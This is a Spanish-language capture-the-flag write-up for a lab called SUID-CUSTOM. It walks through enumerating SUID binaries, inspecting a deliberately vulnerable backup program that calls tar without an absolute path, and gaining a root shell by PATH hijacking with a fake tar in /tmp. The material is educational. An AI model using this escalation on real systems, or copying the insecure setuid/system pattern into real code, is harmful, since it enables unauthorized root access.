

Iniciemos el lab SUID-CUSTOM

```
root@Kali: /home/kali/Downloads/Labs/suid-custom
Session Actions Edit View Help

=====
Bienvenido a WHOAMI-LABS.COM. Laboratorio: SUID-CUSTOM.
Aprende, simula, escala. Sin burocracia.
=====

[v] Imagen cargada correctamente.
[*] Iniciando laboratorio ...
[v] Laboratorio iniciado correctamente.

=====
[v] Laboratorio desplegado correctamente.
=====
IP del laboratorio: 172.17.0.2
Usuario: hacker
Contraseña: backup123
Comando de conexión: ssh hacker@172.17.0.2
=====

Objetivo: Explota el binario SUID personalizado para obtener root
Presiona Ctrl+C cuando quieras detener el laboratorio.

█
```

En este lab nos dan las credenciales para conectarnos por ssh y se nos pide explotar el binario SUID

```
SUID-CUSTOM

=====
Bienvenido al laboratorio SUID-CUSTOM
Objetivo: Explota el binario custom SUID
Usuario: hacker | Password: backup123
=====

hacker@49b59233cf66:~$ █
```

Haremos las verificaciones pertinentes para ver el tipo de permisos que tenemos con esta cuenta

```
Bienvenido al laboratorio SUID-CUSTOM
Objetivo: Explota el binario custom SUID
Usuario: hacker | Password: backup123
```

```
hacker@49b59233cf66:~$ whoami
hacker
hacker@49b59233cf66:~$ id
uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)
hacker@49b59233cf66:~$ sudo -l
[sudo] password for hacker:
Sorry, user hacker may not run sudo on 49b59233cf66.
hacker@49b59233cf66:~$ pwd
/home/hacker
hacker@49b59233cf66:~$ ls -al
total 36
drwxr-xr-x 1 hacker hacker 4096 Jun 16 19:28 .
drwxr-xr-x 1 root root 4096 Dec 13 2025 ..
-rw-r--r-- 1 hacker hacker 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 hacker hacker 3771 Jan 6 2022 .bashrc
drwx----- 2 hacker hacker 4096 Jun 16 19:28 .cache
-rw-r--r-- 1 hacker hacker 807 Jan 6 2022 .profile
-rw-r--r-- 1 hacker hacker 434 Dec 13 2025 LEEME.txt
-rw-r--r-- 1 hacker hacker 616 Dec 13 2025 backup.c
hacker@49b59233cf66:~$
```

```
hacker@49b59233cf66:~$ cat LEEME.txt
```

PISTAS PARA EL LABORATORIO

1. Busca binarios SUID personalizados
Comando: `find / -perm -0000 2>/dev/null`
2. Analiza binarios sospechosos:
 - `strings <binario>`
 - `ltrace <binario>`
 - `file <binario>`
3. Si el binario llama comandos sin ruta absoluta...
Piensa en PATH HIJACKING ;)

Hay un binario en `/usr/local/bin/` que parece interesante...

```
hacker@49b59233cf66:~$
```

```
hacker@49b59233cf66:~$ cat backup.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    printf("=====\\n");
    printf(" Sistema de Backup Automático \\n");
    printf("=====\\n");
    printf("[*] Iniciando backup del sistema ... \\n");

    // VULNERABILIDAD: No usa ruta absoluta para 'tar'
    // Permite path hijacking
    setuid(0); // Intenta ejecutar como root
    system("tar -czf /tmp/backup.tar.gz /home/* 2>/dev/null");

    printf("[+] Backup completado en /tmp/backup.tar.gz\\n");
    printf("=====\\n");

    return 0;
}
hacker@49b59233cf66:~$
```

Analizando este código vemos que hace un respaldo de todo /home en /tmp utilizando tar sin path absoluto, por lo que aquí podríamos aplicar la tercera recomendación.

Por ahora centrémonos en encontrar binarios SUID y ver si los podemos explotar

```
hacker@49b59233cf66:~$ find / -perm -4000 -type f -ls 2>/dev/null
2653872 56 -rwsr-xr-x 1 root root 55680 Apr 9 2024 /usr/bin/su
2653797 40 -rwsr-xr-x 1 root root 40496 Feb 6 2024 /usr/bin/newgrp
2653734 72 -rwsr-xr-x 1 root root 72072 Feb 6 2024 /usr/bin/gpasswd
2653808 60 -rwsr-xr-x 1 root root 59976 Feb 6 2024 /usr/bin/passwd
2653666 72 -rwsr-xr-x 1 root root 72712 Feb 6 2024 /usr/bin/chfn
2653792 48 -rwsr-xr-x 1 root root 47488 Apr 9 2024 /usr/bin/mount
2653672 44 -rwsr-xr-x 1 root root 44808 Feb 6 2024 /usr/bin/chsh
2653898 36 -rwsr-xr-x 1 root root 35200 Apr 9 2024 /usr/bin/umount
2657648 228 -rwsr-xr-x 1 root root 232416 Jun 25 2025 /usr/bin/sudo
2669422 16 -rwsr-xr-x 1 root root 16048 Dec 13 2025 /usr/local/bin/backup
2659520 332 -rwsr-xr-x 1 root root 338536 Apr 11 2025 /usr/lib/openssh/ssh-keysign
2659308 36 -rwsr-xr-- 1 root messagebus 35112 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
hacker@49b59233cf66:~$
```

Casi todos los binarios listados son propios del sistema, el que más llama la atención es el que está en /usr/local/bin/backup, analicémoslo con los comandos sugeridos

```
hacker@49b59233cf66:~$ strings /usr/local/bin/backup
/lib64/ld-linux-x86-64.so.2
__cxa_finalize
__libc_start_main
puts
system
setuid
libc.so.6
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
=====
Sistema de Backup Autom
tico
[*] Iniciando backup del sistema...
tar -czf /tmp/backup.tar.gz /home/* 2>/dev/null
[+] Backup completado en /tmp/backup.tar.gz
:*3$
GCC: (Ubuntu 11.4.0-1ubuntu1~22.04.2) 11.4.0
Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
```

```
hacker@49b59233cf66:~$ ltrace /usr/local/bin/backup
puts("=====") ...
) = 34
puts(" Sistema de Backup Autom\303\241tico " ... Sistema de Backup Automático
) = 34
puts("=====") ...
) = 34
puts("[*] Iniciando backup del sistema" ... [*] Iniciando backup del sistema ...
) = 36
setuid(0) = -1
system("tar -czf /tmp/backup.tar.gz /hom" ... <no return ...>
— SIGCHLD (Child exited) —
<... system resumed> ) = 0
puts("[+] Backup completado en /tmp/ba" ... [+] Backup completado en /tmp/backup.tar.gz
) = 44
puts("=====") ...
) = 34
+++ exited (status 0) +++
hacker@49b59233cf66:~$ file /usr/local/bin/backup
/usr/local/bin/backup: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64
/ld-linux-x86-64.so.2, BuildID[sha1]=2ecb40be3ce644cdee7b0f095cd699d492d40141, for GNU/Linux 3.2.0, not stripped
hacker@49b59233cf66:~$
```

Verifiquemos el contenido del directorio /tmp y ejecutemos el binario para hacer el backup

```

hacker@49b59233cf66:~$ ls -al /tmp
total 8
drwxrwxrwt 1 root root 4096 Dec 13 2025 .
drwxr-xr-x 1 root root 4096 Jun 16 19:21 ..
hacker@49b59233cf66:~$ /usr/local/bin/backup

Sistema de Backup Automático

[*] Iniciando backup del sistema ...
[+] Backup completado en /tmp/backup.tar.gz

hacker@49b59233cf66:~$ ls -al /tmp
total 12
drwxrwxrwt 1 root root 4096 Jun 16 20:12 .
drwxr-xr-x 1 root root 4096 Jun 16 19:21 ..
-rw-rw-r-- 1 root hacker 2942 Jun 16 20:12 backup.tar.gz
hacker@49b59233cf66:~$

```

Con esto confirmamos que se realiza un backup con tar en /tmp, usaremos todo esto a nuestro favor para ejecutarlo de nuevo, pero usando Path Hijacking

```

hacker@49b59233cf66:~$ cd /tmp
hacker@49b59233cf66:/tmp$ echo "/bin/bash" > tar
hacker@49b59233cf66:/tmp$ chmod 777 tar
hacker@49b59233cf66:/tmp$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
hacker@49b59233cf66:/tmp$ export PATH=/tmp:$PATH
hacker@49b59233cf66:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
hacker@49b59233cf66:/tmp$

```

Ejecutamos de nuevo el binario para hacer el backup

```

hacker@49b59233cf66:/tmp$ /usr/local/bin/backup

Sistema de Backup Automático

[*] Iniciando backup del sistema ...
whoami
root
id
uid=0(root) gid=1000(hacker) groups=1000(hacker)
pwd
/tmp
cat /root/flag.txt
FLAG{ }

```

Esta vez cuando se ejecutó el binario se quedó como en pausa o esperando una entrada después del banner “Iniciando backup del sistema...”, esto es porque inyectamos /tmp al inicio del PATH y se creó un binario malicioso que ejecuta la shell, al correr el binario de backup manda a llamar al binario tar pero como se introdujo un sutil cambio en el PATH, el sistema utiliza nuestro archivo tar. Ahora como el binario del backup tiene el bit SUID, corre con los permisos de root y con ese mismo permiso es que se ejecuta la shell, eso lo miramos cuando preguntamos al sistema whoami y nos responde que somos root, ya con esto podemos leer el contenido de la bandera.